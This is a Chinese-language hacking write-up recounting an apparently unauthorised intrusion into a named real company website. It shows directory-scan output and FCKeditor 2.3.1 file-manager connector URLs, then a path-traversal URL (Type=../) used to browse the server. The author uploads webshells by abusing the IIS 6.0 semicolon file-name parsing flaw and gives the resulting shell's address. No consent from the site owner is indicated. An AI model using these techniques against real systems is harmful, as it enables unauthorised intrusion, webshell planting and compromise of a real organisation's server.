**作者：A11riseforme**

这个站是某人说来测试我的日站水平来着。。。目标站：

<http://www.snimay.com/>

首先当然是对着网站撸一撸啦。

aspx+mssql,版本未知+iis6.0。网站有中文版和英文版两种。但不能确定是不是在网站下有俩目录，一个中文的一个英文的。因为这两种语言的网站达到了完全一致的状况（可能表达不太清楚来着）什么意思呢？就比如说<http://www.snimay.com/XXX/YYY/fuck.aspx?id=x> 这是个中文的，在com后面加上加上/en就是英文页面，每个都是这样。

扫下网站目录结构

扫出来的结果在这里，

http://www.snimay.com:80/ HTTP/1.1 200 OK

http://www.snimay.com:80/about/ HTTP/1.1 200 OK

http://www.snimay.com:80/../admin/

http://www.snimay.com:80/../admin/default/

http://www.snimay.com:80/../admin/index/

http://www.snimay.com:80/../admin/login/

http://www.snimay.com:80/../admin/manage/

http://www.snimay.com:80/aspcheck.asp HTTP/1.1 200 OK

http://www.snimay.com:80/aspnet\_client/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/company/ HTTP/1.1 200 OK

http://www.snimay.com:80/DataBackup/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/home/ HTTP/1.1 200 OK

http://www.snimay.com:80/index.htm HTTP/1.1 200 OK

http://www.snimay.com:80/index.htm HTTP/1.1 200 OK

http://www.snimay.com:80/News/ HTTP/1.1 200 OK

http://www.snimay.com:80/news/ HTTP/1.1 200 OK

http://www.snimay.com:80/Other/ HTTP/1.1 200 OK

http://www.snimay.com:80/?pageservices HTTP/1.1 200 OK

http://www.snimay.com:80/product/ HTTP/1.1 200 OK

http://www.snimay.com:80/Product/ HTTP/1.1 200 OK

http://www.snimay.com:80/?s=d HTTP/1.1 200 OK

http://www.snimay.com:80/service/ HTTP/1.1 200 OK

http://www.snimay.com:80/test.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/topics/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/upfile/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/webmanage/ HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/?wp-html-rend HTTP/1.1 200 OK

有用的有

http://www.snimay.com:80/webmanage/fckeditor/ /\*有fck

http://www.snimay.com:80/webmanage/ /\*后台

http://www.snimay.com:80/test.aspx /\*一些有用的信息

http://www.snimay.com:80/aspcheck.asp /\*asp探针

用网页爬虫爬了下，没有什么特殊的东西。先从fck下手好了

有关fck的页面：

http://www.snimay.com/webmanage/fckeditor/\_whatsnew.html

http://www.snimay.com:80/webmanage/fckeditor/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/webmanage/FCKeditor/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/webmanage/fckeditor/editor/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/webmanage/fckeditor/editor/fckeditor.html HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/fckeditor.html HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/ HTTP/1.1 403 Forbidden

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.php HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/aspx/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/aspx/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=%2Fwebmanage%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fasp%2Fconnector.asp HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.php HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=../../connectors/aspx/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=monyer&Connector=connectors/asp/connector.asp HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=monyer&Connector=connectors/aspx/connector.aspx HTTP/1.1 200 OK

http://www.snimay.com:80/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=monyer&Connector=connectors/aspx/connector.aspx HTTP/1.1 200 OK

版本2.3.1

蛋疼，明明传上了shell的，

http://www.snimay.com/webmanage/FCKeditor/editor/filemanager/browser/default/browser.html?Type=media&Connector=connectors/aspx/connector.aspx

baidu\_sylogo1.gif 是真正的图片，其他几个都是shell，图片就打得开：<http://www.snimay.com/UploadFiles/media/baidu_sylogo1.gif>   每次访问shelll就会显示连接被远程服务器关闭。一句话也是这样的

总会有办法的。

http://www.snimay.com/webmanage/fckeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/aspx/connector.aspx

我来查看这个网站的目录

后台不止一个。<http://www.snimay.com/Topics/Admin/index_.asp> 都有eweb

数据库都无法下载

一开始我以为这个站不支持asp，后来翻目录的过程中看见了topics/editor下面的eweb是asp的，既然这样，再试一试。一开始上传一个小马，显示的是

“Active Server Pages 错误 'ASP 0129'

未知的脚本语言

/Topics/Editor/diy.asp;1.jpg，行 3

在服务器上找不到脚本语言 'VBScript.Encode'”

那简单了，换一个大马上去。利用iis6.0解析漏洞，得到了shell，<http://www.snimay.com/Topics/Editor/fuck.cer;1.jpg>

总结一句话，貌似是大叔说的，周密的preparation+精准的exploitation=一次成功的日站。